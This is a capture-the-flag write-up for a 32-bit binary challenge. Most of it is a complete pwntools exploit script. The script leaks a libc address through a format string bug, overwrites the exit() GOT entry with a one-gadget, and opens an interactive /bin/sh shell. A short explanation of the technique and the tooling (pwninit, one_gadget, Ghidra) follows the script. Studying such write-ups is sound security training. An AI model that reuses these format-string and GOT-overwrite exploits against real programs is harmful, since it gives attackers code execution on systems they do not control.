Rating: 5.0
!/usr/bin/env python
# -*- coding: utf-8 -*-
# this exploit template was generated via:
# $ pwn template chall
from pwn import *
# set up pwntools for the correct architecture
exe = context.binary = ELF('chall')
context.terminal = "tmux splitw -v".split()
libc = ELF("./libc-2.27.so")
# many built-in settings can be controlled on the command-line and show up
# in "args". for example, to dump all data sent/received, and disable aslr
# for all created processes...
# ./exploit.py debug noaslr
env = {"LD_PRELOAD": "./libc-2.27.so"}
def start(argv=[], *a, **kw):
'''start the exploit against the target.'''
if args.GDB:
return gdb.debug(["./ld-2.27.so", exe.path] + argv, gdbscript=gdbscript, env=env, *a, **kw)
else:
return process(["./ld-2.27.so", exe.path] + argv, env=env, *a, **kw)
# specify your gdb script here for debugging
# gdb will be launched if the exploit is run via e.g.
# ./exploit.py gdb
gdbscript = '''
tbreak main
'''.format(**locals())
#===========================================================
# exploit goes here
#===========================================================
# arch: i386-32-little
# relro: partial relro
# stack: canary found
# nx: nx enabled
# pie: no pie (0x8048000)
io = start()
def init(d):
io.sendlineafter("ARMOUR: enabled! Try to break in ;)", d)
def add(i, d):
io.sendlineafter("3. break armour", "1")
io.sendlineafter("Enter the index :", str(i))
io.sendlineafter("Enter the data :", d)
def show(i):
io.sendlineafter("3. break armour", "2")
io.sendlineafter("Enter the index :", str(i))
resp = io.recvline()
return resp.strip()
def break_armor():
io.sendlineafter("3. break armour", "3")
try:
resp = io.recvline()
resp = io.recvline()
return resp.strip()
except:
return none
# overwrites the got
def overwrite_got(target_func, new_func):
log.info("replace func {} @ {} with {}".format(target_func, hex(exe.sym.got[target_func]), hex(new_func)))
reactor = 0x0804a080
offset = int((exe.sym.got[target_func] - reactor)/0x10)
add(offset, p32(new_func))
log.info("init with a fmt string vuln")
init("%4$p")
log.info("leaking glibc via fmt string vuln")
leak = break_armor()
leak = leak.replace(b"Welcome to The Reactor (current status: MELTDOWN)", b"")
leak = int(leak, 16)
libc.address = leak - 0x1d53fc
log.info("libc base @ {}".format(hex(libc.address)))
one_gadget = libc.address + 0x3ccec
overwrite_got("exit", one_gadget)
log.info("causing an exit()")
io.sendlineafter("3. break armour", "4")
"""
# I could also rewrite exit to point to main
overwrite_got("exit", exe.sym["main"])
"""
io.interactive()
I used a format string vulnerability to leak GLIBC and its base address (alternatively, you can run the "show" command to look for leaks since there are no bounds to that function).
I then used a GOT overwrite to overwrite the exit()
function to a one gadget. It took 2 tries to find the right one gadget since there were several to pick from:
0x3ccec execve("/bin/sh", esp+0x38, environ)
constraints:
esi is the GOT address of libc
[esp+0x38] == NULL
In Ghidra, you can see that if you input anything in the command selection menu besides 1, 2, or 3, it does exit(0)
. So I just input "4" which caused the program to run exit
PLT, which jumped to the exit
GOT entry, which was overwritten by me to the one gadget which runs /bin/sh
.
Also, if you wanted to have unlimited tries (not limited to only 3 inputs), you can overwrite the exit
GOT with main
which would cause the main()
function to be run over and over again. Could be useful if there were more protections like PIE or if they gave you only 2 tries.
I used pwninit
from https://github.com/io12/pwninit to set up the ld.so
.
You have to use the linker (ld.so
) and the provided libc to get the intended answer.
The solution code was templated by pwntools
by running pwn template ./chall > xpl.py
The way to find a one gadget is by using this awesome utility: https://github.com/david942j/one_gadget